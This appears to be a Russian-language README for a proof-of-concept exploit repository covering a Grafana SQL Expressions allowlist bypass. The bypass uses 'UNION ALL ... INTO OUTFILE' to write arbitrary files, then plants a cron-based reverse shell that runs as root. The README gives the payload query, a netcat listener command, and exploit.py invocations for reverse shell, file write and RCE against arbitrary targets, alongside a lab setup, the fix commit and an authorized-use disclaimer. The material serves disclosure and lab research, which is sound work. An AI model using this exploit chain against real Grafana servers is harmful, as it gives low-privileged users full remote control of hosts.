
Grafana SQL-выражения: произвольная запись файла с последующим выполнением кода (RCE)
CVSS 9.1 Critical | Произвольная запись файлов | Удалённое выполнение кода
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Функция SQL-выражений Grafana (переключатель sqlExpressions) использует встроенный SQL-движок (dolthub/go-mysql-server) с ошибочным allowlist-ом AST. Узел SetOp (UNION ALL) проходит валидацию, а его walkSubtree() не обходит дочерний узел Into — что позволяет с помощью INTO OUTFILE записывать произвольные файлы в файловую систему сервера от имени пользователя процесса Grafana.
Любой аутентифицированный пользователь (роль Viewer или выше) может использовать эту цепочку для полного RCE через reverse shell на основе cron.
| Диапазон | Затронутые | Исправленные |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Требуется включённый переключатель функции sqlExpressions.
Два усугубляющих друг друга дефекта в pkg/expr/sql/:
parser_allow.go: allowedNode() использует именованное возвращаемое значение b = true. Случай *sqlparser.SetOp возвращает true (разрешено), а SetOp.walkSubtree() НЕ обходит дочерний узел Into. Это означает, что UNION ALL ... INTO OUTFILE полностью обходит allowlist.
db.go: Контекст SQL-движка создаётся без WithDisableFileWrites(true), поэтому INTO OUTFILE выполняет запись на диск.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
Одиночный (SELECT ...) INTO OUTFILE создаёт узел ParenSelect, который блокируется. Два или более SELECT, объединённых через UNION ALL, создают узел SetOp, который обходит проверку.
1. Аутентификация (достаточно роли Viewer)
2. POST /api/ds/query с источником данных __expr__, тип "sql"
3. UNION ALL INTO OUTFILE записывает скрипт reverse shell в /tmp/
4. Вторая запись помещает cron-запись в /etc/crontabs/root
5. Cron срабатывает в течение 60 секунд -> reverse shell от имени root
cd lab/
docker compose up -d
# Дождитесь, пока Grafana станет здоровой (~15 секунд)
Grafana запускается на http://localhost:3333 с учётными данными admin:admin.
Терминал 1 — Слушатель:
nc -lvnp 4444
Терминал 2 — Эксплойт:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
Reverse shell устанавливается в течение 60 секунд.
# Проверка уязвимости цели (без записи)
python3 exploit.py -t http://TARGET:3000 --check
# Запись произвольного файла
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Запись локального файла на цель
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE через provisioning источника данных (без cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Для повторного запуска эксплойта после предыдущего выполнения сначала выполните очистку — INTO OUTFILE не может перезаписывать существующие файлы.
Коммит 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Полный анализ первопричины
├── lab/
│ ├── docker-compose.yml # Лабораторная среда Grafana 12.4.0 (подтверждено)
│ ├── Dockerfile # Пользовательский образ с поддержкой cron
│ ├── entrypoint.sh # Запускает crond + Grafana
│ └── setup.sh # Скрипт автоматической настройки
└── poc/
├── exploit.py # Полный PoC с RCE
└── cvss-justification.md
Только для авторизованных исследований безопасности и контролируемого лабораторного тестирования. Не используйте против систем без явного разрешения.